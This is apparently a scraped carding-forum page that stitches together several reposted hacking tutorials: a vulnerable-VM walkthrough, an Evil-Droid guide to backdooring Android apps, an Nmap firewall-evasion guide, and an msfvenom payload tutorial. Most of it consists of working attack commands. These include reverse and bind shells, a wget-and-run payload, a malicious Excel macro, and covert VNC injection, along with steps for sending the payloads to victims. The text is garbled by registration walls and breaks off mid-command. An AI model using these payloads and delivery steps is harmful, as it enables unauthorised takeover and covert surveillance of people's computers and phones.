We find a page called info.php when we open it we find a file name backup.zip.
[Image: 7.2.png?w=687&ssl=1]

We download the file for further information.
[Image: 7.png?w=687&ssl=1]

We extract the zip file and find that the file contains the source code for the webpage.
[Image: 8.png?w=687&ssl=1]

Now we take look inside style.css and we look at the name of the author.
cat style.css | grep Author
[Image: 10.png?w=687&ssl=1]

We use these details as username and email for reset password.
[Image: 11.png?w=687&ssl=1]

We now take a look at reset.php file.
[Image: 12.1.png?w=687&ssl=1]

We find that the new password is based on the time we reset our password. We create a php file that generates a password based on the time displayed on the page.
[Image: 12.png?w=687&ssl=1]

Now we generate the password using our php script.
[Image: 13.1.png?w=687&ssl=1]

We go to the login page and use the email we find in the css file and use the password we just generated to login.
[Image: 13.png?w=687&ssl=1]

Now that we are authorized we take a look at the log file. In the config.php we find that the logs are stored in s3r3t-dir3ct0ry-f0r-l0gs/ directory in the file name format yy-mm-dd.php
[Image: 14.png?w=687&ssl=1]

Now we use the current date to open the log file.
[Image: 15.png?w=687&ssl=1]

Now we use upload basic php shell through email address. We put base64 decode so that we can bypass input firewall.
[Image: 16.png?w=687&ssl=1]

Now we convert our commands to base64, then we use those base64 encoded string to execute our command in the server.
[Image: 17.png?w=687&ssl=1]

When we execute our command the server runs it and we are able to see the files in that directory of the server.
[Image: 18.png?w=687&ssl=1]

Now we create an elf shell with msfvenom.
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.116 lport=4444 -f elf > /var/www/html/shell
To upload our shell, we convert our commands to base64.
echo ‘wget

[To see content please register here]

; chmod +x shell; ./shell’ | base64
[Image: 19.png?w=687&ssl=1]

Now we setup our listener using metasploit.
msf > use multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.116
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
Now when we execute our command we get our reverse_shell
[Image: 20.png?w=687&ssl=1]

Now going through the files in the /var/www folder we find a file called backup.zip. when we try to extract it we find that it can be only extracted in tmp folder so we extract the zip file in /tmp/ folder.
unzip backup.zip -d /var/tmp
[Image: 21.1.png?w=687&ssl=1]

After extracting the zip file, we take a look inside the folder we extracted the files we find a sql file.
[Image: 21.png?w=687&ssl=1]

When we open the file we find a md5 encode password for the user g0rmint.
cat /var/tmp/db.sql | grep noman
[Image: 22.png?w=687&ssl=1]

Then we when we decrypt our md5 encode hash we find a password ‘tayyab123’.
[Image: 23.png?w=687&ssl=1]

We use this to connect through ssh.
ssh [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login
After connecting through ssh we use this password to gain root access.
When we get root access we go to root folder inside the root folder we get a file called flag.txt. when we open the file we get a congratulatory message for the completion of VM.
[Image: 24.png?w=687&ssl=1]

Hello friends! Today you will learn how to generate apk payload with help of “Evil-Droid”. It is the tool used to compromise any android deceive for attacking point, we are using it only for educational purpose.
Evil-Droid is a framework that creates & generates & embed apk payload to penetrate Android platforms.
Requirement:
Attacker: Kali Linux
Target: Android
Lets Begin !!
Open the terminal in your Kali Linux and execute given below command to download it from git hub.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Now open the downloaded folder in terminal and type given below command to give all permission to the script “evil-droid”
chmod 777 evil-droid
1
chmod 777 evil-droid
[Image: 2.png?w=687&ssl=1]

Now execute given below command to run the script and lunch the evil-droid application.
./evil-droid
1
./evil-droid
[Image: 3.png?w=687&ssl=1]

When you will execute above command evil-droid will start as shown in given below image. Here it will start from testing internet connection and its dependencies from available kali Linux tool by its own.
[Image: 4.png?w=687&ssl=1]

Then a prompt will pop up to confirm the Evil droid framework requirement, here select option “yes”.
[Image: 5.png?w=687&ssl=1]

Now Evil droid framework will get open to hack remote android platform by executing given below options.
[1] APK MSF
[2] BACKDOOR APK ORIGINAL (OLD)
[3] BACKDOOR APK ORIGINAL (NEW)
[4] BYPASS AV APK (ICON CHANGE)
[5] START LISTENER
[c] CLEAN
[q] QUIT
[?] Select
From given below image you can perceive that we had chosen the option as “BACKDOOR APK ORIGINAL”
[Image: 6.png?w=687&ssl=1]

After that again a prompt will pop up in order to set LHOST [attacker’s IP] for reverse connection. Enter your Kali Linux IP in the given text field as shown in given below image.
[Image: 7.png?w=687&ssl=1]

After that again a prompt will pop up in order to set LPORT for reverse connection as shown in given below image.
[Image: 8.png?w=687&ssl=1]

In next prompt enter payload name, you want to give to your apk payload as shown in given below image. Here I had given baidu-broswer name to my payload.
[Image: 9.png?w=687&ssl=1]

Now when everything is set by an attacker for generating an apk payload, at last, he will get a list for payload option to choose the type of payload he wants to generate as shown in given below image.
Here I had selected “android/meterpreter/reverse_tcp” as payload.
[Image: 10.png?w=687&ssl=1]

Now download any original apk file from Google in order to hide your payload in that file. Here I had downloaded baidu.apk to hide my baidu-browser payload inside it; you can download any other apk file of your choice.
[Image: 11.png?w=687&ssl=1]

This will now generate a malicious baidu.apk by hiding our backdoor inside it as shown in the given below image. Now copy this malicious apk from given path /root/Evil-Droid/evilapk/baidu-browser.apk and send it to the victim.
[Image: 12.png?w=687&ssl=1]

On another hand another prompt will pop up to choose the following option:

Multi-Handler
Attack-vector
Main menu
Exit

From given below image you can observe that I had chosen “multi handler” for reverse connection of victims system.
[Image: 13.png?w=687&ssl=1]

Now it will lunch multi-handler and start reverse TCP handler on attacker machine as shown in given below image. As soon as the victim will download and run the malicious baidu.apk, the attacker will get unauthorized access of his deceive on his machine.
[Image: 14.png?w=687&ssl=1]

Great!! From given below image you can observe meterpreter session 1 is opened
meterpreter> sysinfo
1
meterpreter> sysinfo
[Image: 15.png?w=687&ssl=1]

[Guide] How to Understanding Guide to Nmap Firewall Scan (Part 1)

Posted by: NINZA - 05-14-2020, 05:30 AM - Forum: Carders Home - No Replies

Several times you might have used NMAP to performing Network scanning for enumerating active Port services of target machine but in some scenario, it is not possible to perform scanning with help of basic scan method especially in case of firewall filter.
Today we are going to demonstrate “Nmap firewall scan” by making use of Iptable rules and try to bypass the firewall filter to perform NMAP Advance scanning.
Let’s Begin!!
Attacker’s IP: 192.168.0.107 [kali linux]
Target’s IP: 192.168.0.101 [Ubuntu]
Analysis TCP Scan
Open the terminal in your Kali Linux and execute the following command to perform TCP[sT] scan for open port enumeration.
nmap -sT -p22 192.168.1.101
1
nmap -sT -p22 192.168.1.101
From given below image you can observe we had scanned port 22 as result it has shown Port 22 is Open for SSH service.
[Image: 1.png?w=687&ssl=1]
When you will use Wireshark in order to capture the packet send in the case of TCP while the network is being scanning, here you need to notice few things such as “flag, Total length and time to live[TTL]” [in layer3].
Following table contains detail of Flag, Data length and TTL in different scanning method:
Scan Name
Flag
Data Length
TTL
-sT (TCP)
SYN →

← SYN, ACK
ACK →
RST, ACK →
60
64
-sS (Stealth)
SYN →

← SYN, ACK
RST
44
<64 (Less than 64)
-sF (Finish)
FIN →
40
<64 (Less than 64)
-sN (Null)
NULL →
40
<64 (Less than 64)
-sX (Xmas)
FIN, PSH, URG →
40
<64 (Less than 64)
Following image of Wireshark is showing network traffic generated while nmap TCP scan is running, here 1st stream indicates SYN packet which contains the following information:
Total Length: 60 [data length excluding 14 bytes of Ethernet]
Time to live: 64 [it is maximum TTL of the Linux system in TCP communication]
[Image: 2.png?w=687&ssl=1]
Reject SYN Flag with IPTables
As we know there is the strong fight between security researcher and attacker, to increase network security admin will apply firewall filter which will now prevent 3-way handshake communication in the network and resists attacker to perform TCP scan by rejecting SYN packet in the network.
Execute given below command in Ubuntu to block SYN packet:
iptables -I INPUT -p tcp --tcp-flags ALL SYN -j REJECT --reject-with tcp-reset
1
iptables -I INPUT -p tcp --tcp-flags ALL SYN -j REJECT --reject-with tcp-reset
Iptable work as the firewall in the Linux operating system and above iptable rule will reject SYN packet to prevent TCP scan.

Now when SYN packet has been rejected by the firewall in the target network, the attacker will be unable to enumerate open port of the target’s network even if services are activated.
Now when again we [the attacker] have executed TCP scan then it found Port 22 is closed as shown in the given image.
[Image: 4.png?w=687&ssl=1]
Bypass SYN Filter
When the attacker fails to enumerate open port using a TCP scan. Then there are some advanced scanning methods used to bypass such type of firewall filter as given below :
FIN Scan
A FIN packet is used to terminate the TCP connection between the source and destination port typically after the data transfer is complete. In the place of the SYN packet, Nmastartsrt a FIN scan by sending FIN packet.
Fin Scan only works on Linux machine and does not work on latest version of windows
nmap -sF -p22 192.168.0.101
1
nmap -sF -p22 192.168.0.101
Frothe m given image you can observe the result that port 22 is open.
[Image: 5.png?w=687&ssl=1]
When you will capture network traffic for FIN packet, you can bear out “data length” is 40 and “TTL” will be less than 64 every time moreover there is no use of SYN packet to establish TCP communication with target machine.
[Image: 6.png?w=687&ssl=1]
NULL Scan
A Null Scan is a series of TCP packets which hold a sequence number of “zeros” (0000000) and since there are none flags set, the destination will not know how to reply the request. It will discard the packet and no reply will be sent, which indicate that the t port is open.
Null Scan are only workable in Linux machines and does not work on the latest version of windows
nmap -sN -p22 192.168.0.101
1
nmap -sN -p22 192.168.0.101
For the m given image you can observe the result that port 22 is open.
[Image: 7.png?w=687&ssl=1]
Similar,ly When you will capture network traffic for the NULL packet, you can bear out “data length” is 40 and “TTL” will be less than 64 every time, here also there is no use of SYN packet to establish TCP communication with target machine.
[Image: 8.png?w=687&ssl=1]
XMAS Scan
These scans are designed to manipulate the PSH, URG and FIN flags of the TCP header, Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree. When source sent FIN, PUSH, and URG packet to a specific port and if a port is open then destination will discard the packets and will not sent any reply to a source.
Xmas Scan are only workable in Linux machines and does not work on the latest version of windows
nmap -sX -p22 192.168.0.101
1
nmap -sX -p22 192.168.0.101
From the given image you can observe the result that port 22 is open.
[Image: 9.png?w=687&ssl=1]
Similarly, When you will capture network traffic for xmas scan you will get the combination of FIN, PSH and URG flags, here also you can bear out “data length” is 40 and “TTL” will be less than 64 every time.
Conclusion: TCP connection established by 3 way handshake and if firewall discard 3 way handshake to prevent TCP communication then FIN, NULL and XMAS scan are used for TCP connection.
[Image: 10.png?w=687&ssl=1]
Reject FIN Packet Using IPTABLES Rule
Again admin add a new firewall filter to Prevent Network enumeration from Fin scan which will reject FIN packet in the network.
Execute given below command in Ubuntu to block FIN packet:
iptables -I INPUT -p tcp --tcp-flags ALL FIN -j REJECT --reject-with tcp-reset
1
iptables -I INPUT -p tcp --tcp-flags ALL FIN -j REJECT --reject-with tcp-reset

Now when the attacker will try to perform advance scan through FIN scan then he will not able to enumerate open port information which you can confirm from given below image.
[Image: 12.png?w=687&ssl=1]
At present only Null and Xmas will helpful to perform port enumeration until unless admin has not block traffic coming from these scan. From given below image you can confirm that port 22 is close when Fin scan is performed while open when Null and Xmas is performed.
To prevent you network from NULL and Xmas scan too, apply given below iptables rule for Null and Xmas respectively:
iptables -I INPUT -p tcp --tcp-flags ALL NONE -j REJECT --reject-with tcp-reset
iptables -I INPUT -p tcp --tcp-flags ALL FIN,PSH,URG -j REJECT --reject-with tcp-reset
1
2
iptables -I INPUT -p tcp --tcp-flags ALL NONE -j REJECT --reject-with tcp-reset
iptables -I INPUT -p tcp --tcp-flags ALL FIN,PSH,URG -j REJECT --reject-with tcp-reset
[Image: 13.png?w=687&ssl=1]
Reject Data-length with IPTables
As I had discussed above TCP communication based upon 3 factors i.e. “Flag” which I had demonstrated above, “TTL” which I will demonstrate later and “Data length” which I am going to demonstrate.
So now when admin wants secure again his network from TCP scan, instead of applying firewall filter on TCP-flags he can also apply firewall rule to check “data length” of a specific size and then stop the incoming network traffic for TCP connection. Execute given below command to apply firewall rule on “data length”; by default 60 is data length use for TCP scan which you can confirm from the table given above.
iptables -I INPUT -p tcp -m length --length 60 -j REJECT --reject-with tcp-reset
1
iptables -I INPUT -p tcp -m length --length 60 -j REJECT --reject-with tcp-reset

Now when the data length of 60 bytes has been block by the firewall in target network then the attacker will be unable to enumerate open port of target even if service is activated.
Now when again we [the attacker] had executed TCP scan then it has found Port 22 is closed as shown in the given image.
[Image: 18.png?w=687&ssl=1]
Bypass Data-Length Restriction with Stealth Scan
When attacker fail to enumerate open port using TCP [sT] scan then there are some scanning method used to bypass such type of firewall filter as given below:
nmap -sS -p 22 192.168.0.101
1
nmap -sS -p 22 192.168.0.101
From given below image you can observe port 22 is open when stealth scan[sS] is executed, this is because the data length send by stealth scan is 44 by default for TCP connection.
[Image: 19.png?w=687&ssl=1]
Stealth scan is much similar to TCP scan and also known as “half open” scanning because it send SYN packet and as response receives SYN/ACK packet from listening port and dump result without sending an ACK packet to listening port. Therefore if “SYN packet” is block by firewall this scan gets failed, this scan is only applicable in case of data length = 60 is block or TTL = 64 is block by the firewall.
[Image: 20.png?w=687&ssl=1]
Fragment Scan
The -f option causes the requested scan to use tiny fragmented IP packets. The idea is to split up the TCP header over several packets to make it harder for packet filters, intrusion detection systems, and other annoyances to detect what you are doing. So a 20-byte TCP header would be split into three packets, two with eight bytes of the TCP header, and one with the final four.
nmap -f -p22 192.168.0.101
1
nmap -f -p22 192.168.0.101
[Image: 21.png?w=687&ssl=1]
When you will capture network traffic, you can bear out “data length” is 28 excluding 14 bytes of Ethernet and “TTL” will be less than 64 every time.
Similarly, you use Fin, Null and Xmas scan whose data length is 40 to enumerate open port of target network.
[Image: 22.png?w=687&ssl=1]
If admin will apply firewall filter to reject data length 40,44 and 60 then it will not allow the attacker to perform above all scan either basic scan or advance scan by executing following iptables rules.
iptables -I INPUT -p tcp -m length --length 60 -j REJECT --reject-with tcp-reset
iptables -I INPUT -p tcp -m length --length 44 -j REJECT --reject-with tcp-reset
iptables -I INPUT -p tcp -m length --length 40 -j REJECT --reject-with tcp-reset
1
2
3
iptables -I INPUT -p tcp -m length --length 60 -j REJECT --reject-with tcp-reset
iptables -I INPUT -p tcp -m length --length 44 -j REJECT --reject-with tcp-reset
iptables -I INPUT -p tcp -m length --length 40 -j REJECT --reject-with tcp-reset
[Image: 23.png?w=687&ssl=1]
From given below image you can observe now Fin, null, Xmas and stealth scan are some examples which were unable to enumerate open port of target network. All are showing port is close even if service is activated.
[Image: 24.png?w=687&ssl=1]
Data Length Scan
When an attacker is unable to enumerate open port by applying the above scan then he should go with nmap “data-length scan” which will bypass above firewall filter too.
By default nmap scan has fix data length as explain above, this scan let you append the random data length of your choice.
Using the following command attacker is trying to enumerate open port by defining data length 12
nmap --data-length 12 -p 22 192.168.0.101
1
nmap --data-length 12 -p 22 192.168.0.101
Awesome!! From given below image you can observe port 22 is open.
[Image: 25.png?w=687&ssl=1]
So when you will use wireshark to capture network traffic generated while this scan has been executed you will get “Total length” for TCP is 44.
Size of SSH packet is 70 bytes; now reduce 14 bytes from its of Ethernet then remains 56 byte; now reduce 12 bytes of data length which you have define at last total length will 44 bytes left.
Here, 70 bytes -14 bytes[Ethernet] = 56 bytes
Now, 56 bytes -12 bytes[data-length] = 44 bytes
[Image: nmap.png?w=687&ssl=1]
Reject Length size 1 to 100
If an admin is aware from nmap data-length scan then he should block a complete range of data length to prevent network scanning from the attacker by executing following iptable rule.
iptables -I INPUT -p tcp -m length --length 1:100 -j REJECT --reject-with tcp-reset
1
iptables -I INPUT -p tcp -m length --length 1:100 -j REJECT --reject-with tcp-reset
Now firewall will analysis traffic coming on its network then reject the packet which contains data-length from 1 byte to 100 bytes and deny to establish TCP connections with the attacker.

Now if the attacker sends data-length between 1 byte to 100 bytes the port scanning gets failed to enumerate its open state which you can confirm from given below image when data length 12 bytes and 10 bytes is sent in both scan, port 22 is closed. As soon as the attacker sent data-length of 101 bytes which is more than 100 bytes, port 22 gets open.
[Image: 28.png?w=687&ssl=1]
TTL Scan
Reject TTL size with IPTables
After applying firewall filter on “TCP flags” and “data length” to secure network from enumeration now add firewall filter for “Time To Live” i.e. TTL.
If you had notice the table given in the beginning of the article you will observe that only TCP Scan [sT] has TTL value equal to 64 else remaining scan has TTL value less than 64 every time, hence if admin applies firewall filter to reject TTL value 64 then it will prevent network from TCP scanning.
Given below command will add a new firewall rule to check the TTL value of 64 and reject the packet.
iptables -I INPUT -p tcp -m ttl --ttl 64 -j REJECT --reject-with tcp-reset
1
iptables -I INPUT -p tcp -m ttl --ttl 64 -j REJECT --reject-with tcp-reset

Now if attacker use “TCP [sT] scan” to enumerate port information, it will always show “port is closed”, else if other scan is performed the attacker will get accurate information related to the port state. From given below image you can observe when “basic scan is execute” to enumerate port details it give “port 22 is open”.
[Image: 30.png?w=687&ssl=1]
This happen because the TTL value for “basic scan” is less than 64 and the firewall of the target machine will reject only TTL value equal to 64. When we had captured network traffic generated while this scan has been executed then we found TTL value is 56 used in the basic scan.
[Image: 31.png?w=687&ssl=1]
Now admin has added one more step of security to prevent his network from entire type scanning by rejecting TTL value of 64 and less than 64.
iptables -I INPUT -p tcp -m ttl --ttl-lt 64 -j REJECT --reject-with tcp-reset
1
iptables -I INPUT -p tcp -m ttl --ttl-lt 64 -j REJECT --reject-with tcp-reset
Now firewall will analysis the traffic coming on his network and blocks the packet contains TTL 64 or less than it.

Bravo!! Above firewall rule is more powerful than the previous rules because it has complete block NMAP “basic scan” as well as “advance scan”, if you notice given below image then you will observe that TCP [sT], Fin Scan [sF], Data-length, Stealth [sS] Scan all have been failed and showing port is closed.
[Image: 33.png?w=687&ssl=1]
Still, there is a second way to enumerate port for an accurate result, by setting TTL value greater than 64. Following command will perform a port scan with defined TTL value i.e. 65 which will bypass firewall filter as 65 is greater than 64.
nmap -p22 --ttl 65 192.168.0.101
1
nmap -p22 --ttl 65 192.168.0.101
So if the attacker is lucky to guess rejected TTL value or firewall rule and applied correct TTL, then only port enumeration will get successful as shown in given image port 22 is open.
[Image: 34.png?w=687&ssl=1]
Source Port Scan
Source Port Filter with IPTables
One more step to secure network from scanning is to apply firewall rule to allow traffic from a specific port only and reject traffic from remaining ports.
iptables -I INPUT -p tcp --sport 80 -j ACCEPT
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
1
2
iptables -I INPUT -p tcp --sport 80 -j ACCEPT
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset

Now again NMAP basic and advance will fail to enumerate open port state and if the attacker made a correct guess again firewall filter then he can execute NMAP source port scan to enumerate port details.
The option g is used to define source port which will carry network packet to the destination port.
nmap -g 80 192.168.0.101
1
nmap -g 80 192.168.0.101
Above command will send traffic from port 80 to perform scanning hence firewall will allow traffic from source port 80 and as a result show state for open ports.
[Image: 36.png?w=687&ssl=1]
Decoy Scan
Set Firewall Log to capture Attacker IP
Admin can set a firewall rule to create Log for IP from which traffic is coming, it will only create system logs to capture the attacker IP who is performing scanning.
iptables -I INPUT -p tcp -j LOG --log-prefix "kaliNmap" --log-level=4
1
iptables -I INPUT -p tcp -j LOG --log-prefix "kaliNmap" --log-level=4
Now if the attacker will perform any type of network scanning on the targeted system then the firewall will generate its log which will capture his IP.

Escape from the Firewall log
Always use some kind of precaution to escape yourself while performing network scanning because in windows “honey pot” and in Linux “iptables” are firewall will make the log of attacker’s IP. In such a situation, you are suggested to use a Decoy Scan for port enumeration.
Decoy Scan
The -D option makes it look like the trick scanning the target network. It does not hide your own IP, but it makes your IP one of a torrent of others supposedly scanning the victim at the same time. This not only makes the scan look scarier, but reduces the chance of you being trace from your scan (difficult to tell which system is the “real” source).
nmap -D 216.58.203.164 192.168.0.101
1
nmap -D 216.58.203.164 192.168.0.101
In the above command, we had to use Google IP as a torrent which will reflect as attacker IP in firewall log.
[Image: 38.png?w=687&ssl=1]
tail -f /var/log/syslog
1
tail -f /var/log/syslog
When admin will read the system log then he will take higlighted IP as the attacker’s IP and may apply the filter on this IP to block incoming traffic from it.
[Image: 39.png?w=687&ssl=1]

Hello friends!!
Today we will learn to create payloads from a popular tool known as Metasploit, we will explore various option available within the tool to create payloads with different extensions and techniques.
Msfvenom
Msfvenom is a command line instance of Metasploit that is used to generate and output all of the various types of shell code that are available in Metasploit.
Requirements:

Kali Linux
Windows Machine
Android Phone
Linux Machine

Abbreviations:
Lhost= (IP of Kali)
Lport= (any port you wish to assign to the listener)
P= (Payload I.e. Windows, Android, PHP etc.)
F= file extension (i.e. windows=exe, android=apk etc.)
Let’s Begin!!
From the Kali terminal type command msfvenom as shown below. It will show you all available options for creating a payload but in this article, we are talking about different types of payload we can generate.
[Image: 1.png?w=687&ssl=1]

Bind shell
A bind shell is a kind that opens up a new service on the target machine and requires the attacker to connect to it in order to get a session
Now type the below “command” on your kali terminal
msfvenom -p windows/meterpreter/bind_tcp -f exe > /root/Desktop/bind.exe
1
msfvenom -p windows/meterpreter/bind_tcp -f exe > /root/Desktop/bind.exe
It will save the “exe” payload file on your desktop as specified on the command /root/Desktop/bind.exe We need to send this file to the victim machine through file share or by any social engineering technique and have it run on the system
[Image: 2.png?w=687&ssl=1]

Now let us start msfconsole and type below command to get a session of the victim machine
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/bind_tcp
msf exploit(handler) > set rhost 192.168.0.100
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/bind_tcp
msf exploit(handler) > set rhost 192.168.0.100
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
Once the file is executed on the machine we will get the victim machine meterpreter session as shown below:
The bind_tcp option is helpful in case we get disconnected from victim machine while it is still running, we can execute the same command and get back the session without any intervention of the victim to run the exploit again.
[Image: 3.png?w=687&ssl=1]

Reverse TCP Payload
A reverse shell (also known as a connect-back) is the exact opposite: it requires the attacker to set up a listener first on his box, the target machine acts as a client connecting to that listener, and then finally the attacker receives the shell.
From the Kali terminal type command msfvenom as shown below:
Now type command
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107 lport=5555 -f exe > / root/Desktop/reverse_tcp.exe
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107 lport=5555 -f exe > / root/Desktop/reverse_tcp.exe
[Image: 4.png?w=687&ssl=1]

In this case, we will include few other options such as lhost (localhost) and lport (local port) to get a reverse connection from the victim machine
Once the payload is generated and send to the victim for execution, we will start our next step as shown below
Now let us start msfconsole and type below command to get a session of the victim machine
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport 5555
msf exploit(handler) > exploit
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport 5555
msf exploit(handler) > exploit
We can confirm from the image below, once the payload is executed by the victim, we received a reverse connection and got the meterpreter session successfully.
[Image: 5.png?w=687&ssl=1]

HTTPS Payload
Note: Both the above payloads can be used in case we have relevant ports active on the victim machine, so the question arises what if the victim has blocked all the ports?
Well in such cases we can create payloads as per the ports running on victim machine such as 443 for https:
Let’s us use this case and create a payload with https From the Kali terminal type command msfvenom as shown below:
Now type command
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.0.107 lport=443 -f exe > /root/Desktop/443.exe
1
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.0.107 lport=443 -f exe > /root/Desktop/443.exe
[Image: 6.png?w=687&ssl=1]

Once the payload is generated and send to the victim for execution, we will start our next step as shown below
Now let us start msfconsole and type below command to get a session of the victim machine
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport 443
msf exploit(handler) > exploit
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport 443
msf exploit(handler) > exploit
We can confirm from the above image, once the payload is executed by the victim, we received a reverse connection and got the meterpreter session.
[Image: 7.png?w=687&ssl=1]

Hidden Bind TCP Payload
Let us now explore some other technique available in msfvenom Tool and try to exploit the victim machine, this time we will get the shell of the victim machine instead of meterpreter session
Let’s begin!!
This payload hides on the background silently, while executed and does not reveal its presence if scanned by any port scanner.
From the Kali terminal type command msfvenom as shown below:
msfvenom -p windows/shell_hidden_bind_tcp ahost=192.168.0.107 lport=1010 -f exe > /root/Desktop/hidden.exe
1
msfvenom -p windows/shell_hidden_bind_tcp ahost=192.168.0.107 lport=1010 -f exe > /root/Desktop/hidden.exe
[Image: 8.png?w=687&ssl=1]

Once the payload is generated and send to the victim for execution, we will start our next step as shown below.
We use Netcat to set up our listener.
Now from the kali Terminal let us type the command as shown above
nc 192.168.0.100 1010
1
nc 192.168.0.100 1010
[Image: 9.png?w=687&ssl=1]

Reverse Shell Payload with Netcat
Let us now do the same process and use shell_reverse_tcp payload, one more technique to get shell session of the victim
From the Kali terminal type command msfvenom as shown below:
msfvenom -p windows/shell_reverse_tcp ahost=192.168.0.107 lport=1111-f exe > /root/Desktop/ncshell.exe
1
msfvenom -p windows/shell_reverse_tcp ahost=192.168.0.107 lport=1111-f exe > /root/Desktop/ncshell.exe
[Image: 10.png?w=687&ssl=1]

Once the payload is generated and send to the victim for execution, we will start our next step as shown below
We set up our listener using netcat, the image below confirms the shell session capture by the kali machine.
Now from the kali Terminal let us type the command as shown below.
nc -lvp 1111
1
nc -lvp 1111
[Image: 11.png?w=687&ssl=1]

Macro Payload
Let us now create a payload with a VBA script, which we will use to create a macro on Excel to exploit victim machine.
Let us begin to create the payload!!
Open Kali Terminal and type the command as mention below:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107 lport=7777 -f vba
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107 lport=7777 -f vba
[Image: 13.png?w=687&ssl=1]

once the command is executed copy the script starting from “#if VBA 7 till “End if” as highlighted in below image:
[Image: 14.png?w=687&ssl=1]

Let us now open an excel file and press alt+F11 key to open VB script, you will get the options box, as shown above, enter the name you will like to provide and click on “create”.
[Image: 15.png?w=687&ssl=1]

You will get a new options box as above, click on “This workbook” and replace the values with your copied vb script payload generated by the msfvenom tool and close the vb script editor and enable the macro.
[Image: 16.png?w=687&ssl=1]

Now you may draft your excel file with relevant data which may look realistic for a victim to open the file, in our case we have just inserted the value “Test” save the file and send it to the victim.
To capture the sessions let us now start the multi handler as stated below:
Open kali Terminal and type msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set paylaod windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport 7777
msf exploit(handler) > exploit
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set paylaod windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport 7777
msf exploit(handler) > exploit
Once the excel file is opened by the victim, it will prompt the victim to enable the macro, once enabled, our VBScript will get executed to provide us with a reverse connection to the victim machine as shown in the below image.
[Image: 17.png?w=687&ssl=1]

VNC Payload
Will it is not great if we can take the remote of victim machine without their knowledge and observe their activity anonymously, this payload does exactly that, let us use it to our benefit.
Let us begin to create the payload!! Open Kali Terminal and type the command as mention below:
msfvenom -p windows/vncinject/reverse_tcp lhost=192.168.0.107 lport=5900 -f exe > /root/Desktop/vnc.exe
1
msfvenom -p windows/vncinject/reverse_tcp lhost=192.168.0.107 lport=5900 -f exe > /root/Desktop/vnc.exe
[Image: 18.png?w=687&ssl=1]

Once the payload is generated and send to the victim for execution, we will start our next step as shown below. To capture the sessions let us now start the multi handler as stated below:
Open kali Terminal and type msfconsole
msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set paylaod windows/vncinject/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport= 5900
msf exploit(handler) > exploit
1
2
3
4
5
msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set paylaod windows/vncinject/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport= 5900
msf exploit(handler) > exploit
[Image: 19.png?w=687&ssl=1]

We can see that reverse connection has executed the VNC injection and the victim remote machine session is established on our kali machine showing Remote Desktop.
[Image: 20.png?w=687&ssl=1]

Android Payload
Exploiting handheld devices have always been a hot topic and still continues, hence we have included it in our article as well, let us use one of the androids exploit available within the msfvenom tool and use it to our benefit.
Let’s begin
Open Kali Terminal and type the command as mention below:
msfvenom -p andriod/meterpreter/reverse_tcp lhost=192.168.0.107 lport=8888 > /root/Desktop/file.apk
1
msfvenom -p andriod/meterpreter/reverse_tcp lhost=192.168.0.107 lport=8888 > /root/Desktop/file.apk
[Image: 21.png?w=687&ssl=1]

Once the payload gets generated send it to the victim to execute on his handheld and start multi handler as shown in below image.
msf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport 8888
msf exploit(handler) > exploit
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lport 8888
msf exploit(handler) > exploit
Once the payload gets executed, you will get the meterpreter session of the handheld, which is now in your control as shown below.
[Image: 22.png?w=687&ssl=1]

Linux Payload
Open Kali Terminal and type the command as mention below:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f elf > /root/Desktop/shell
1
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f elf > /root/Desktop/shell
[Image: 25.png?w=687&ssl=1]

Once the payload gets generated send it to the victim to execute on his Linux machine and start multi handler as shown in below image.
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.107
msf exploit(handler) > set lhost 4444
msf exploit(handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
